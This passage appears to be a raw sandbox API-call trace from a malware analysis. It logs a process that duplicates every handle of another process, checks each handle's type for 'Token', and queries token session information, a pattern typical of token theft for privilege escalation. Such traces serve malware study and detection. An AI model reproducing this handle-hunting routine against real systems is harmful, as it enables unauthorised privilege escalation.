GetCurrentProcess () returned 0xffffffffffffffff [0196.911] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.911] CloseHandle (hObject=0x168) returned 1 [0196.911] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.912] GetCurrentProcess () returned 0xffffffffffffffff [0196.912] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.912] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.912] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.912] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.912] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.912] LocalFree (hMem=0x181a40) returned 0x0 [0196.912] CloseHandle (hObject=0x16c) returned 1 [0196.912] CloseHandle (hObject=0x168) returned 1 [0196.912] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.912] GetCurrentProcess () returned 0xffffffffffffffff [0196.912] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.912] CloseHandle (hObject=0x168) returned 1 [0196.912] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.912] GetCurrentProcess () returned 0xffffffffffffffff [0196.912] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x10, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.912] CloseHandle (hObject=0x168) returned 1 [0196.912] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.912] GetCurrentProcess () returned 0xffffffffffffffff [0196.912] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x14, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.913] CloseHandle (hObject=0x168) returned 1 [0196.913] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.913] GetCurrentProcess () returned 0xffffffffffffffff [0196.913] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.913] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.913] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.913] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.913] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.913] LocalFree (hMem=0x181a40) returned 0x0 [0196.913] CloseHandle (hObject=0x16c) returned 1 [0196.913] CloseHandle (hObject=0x168) returned 1 [0196.913] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.913] GetCurrentProcess () returned 0xffffffffffffffff [0196.913] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.913] CloseHandle (hObject=0x168) returned 1 [0196.913] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.913] GetCurrentProcess () returned 0xffffffffffffffff [0196.913] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.913] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.913] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.913] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.913] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.913] LocalFree (hMem=0x160a40) returned 0x0 [0196.913] CloseHandle (hObject=0x16c) returned 1 [0196.913] CloseHandle (hObject=0x168) returned 1 [0196.914] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.914] GetCurrentProcess () returned 0xffffffffffffffff [0196.914] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x24, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.914] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.914] LocalAlloc (uFlags=0x40, uBytes=0x70) returned 0x160a40 [0196.914] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x70, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.914] RtlEqualUnicodeString (String1="Key", String2="Token", CaseInsensitive=1) returned 0 [0196.914] LocalFree (hMem=0x160a40) returned 0x0 [0196.914] CloseHandle (hObject=0x16c) returned 1 [0196.915] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.915] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.915] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.915] LocalFree (hMem=0x181a40) returned 0x0 [0196.915] CloseHandle (hObject=0x16c) returned 1 [0196.916] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.916] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.916] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.916] LocalFree (hMem=0x160a40) returned 0x0 [0196.916] CloseHandle (hObject=0x16c) returned 1 [0196.916] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.916] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.916] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.916] LocalFree (hMem=0x160a40) returned 0x0 [0196.916] CloseHandle (hObject=0x16c) returned 1 [0196.916] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.916] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.916] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.916] LocalFree (hMem=0x160a40) returned 0x0 [0196.916] CloseHandle (hObject=0x16c) returned 1 [0196.916] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.916] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.917] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.917] LocalFree (hMem=0x160a40) returned 0x0 [0196.917] CloseHandle (hObject=0x16c) returned 1 [0196.917] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.917] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.917] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.917] LocalFree (hMem=0x160a40) returned 0x0 [0196.917] CloseHandle (hObject=0x16c) returned 1 [0196.917] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.917] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.917] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.917] LocalFree (hMem=0x160a40) returned 0x0 [0196.917] CloseHandle (hObject=0x16c) returned 1 [0196.917] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.917] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.918] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.918] LocalFree (hMem=0x181a40) returned 0x0 [0196.918] CloseHandle (hObject=0x16c) returned 1 [0196.918] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.918] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.918] RtlEqualUnicodeString (String1="KeyedEvent", String2="Token", CaseInsensitive=1) returned 0 [0196.918] LocalFree (hMem=0x181a40) returned 0x0 [0196.918] CloseHandle (hObject=0x16c) returned 1 [0196.918] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x181a40 [0196.918] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x88, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.918] RtlEqualUnicodeString (String1="IoCompletion", String2="Token", CaseInsensitive=1) returned 0 [0196.918] LocalFree (hMem=0x181a40) returned 0x0 [0196.918] CloseHandle (hObject=0x16c) returned 1 [0196.921] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.921] GetTokenInformation (in: TokenHandle=0x1a8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.921] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.921] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.922] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.923] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.924] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.924] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.924] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.924] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.925] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.925] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x18c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.926] GetTokenInformation (in: TokenHandle=0x18c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.927] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.928] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.928] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x1d8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x1d8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.929] GetTokenInformation (in: TokenHandle=0x1f8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.930] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.930] GetTokenInformation (in: TokenHandle=0x1f8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.930] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.930] GetTokenInformation (in: TokenHandle=0x1f8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.931] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.932] GetTokenInformation (in: TokenHandle=0x204, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x204, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x204, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.933] GetTokenInformation (in: TokenHandle=0x204, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.934] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.934] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.935] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.935] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.936] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.936] GetTokenInformation (in: TokenHandle=0x1c4, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.936] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.936] GetTokenInformation (in: TokenHandle=0x1c8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, 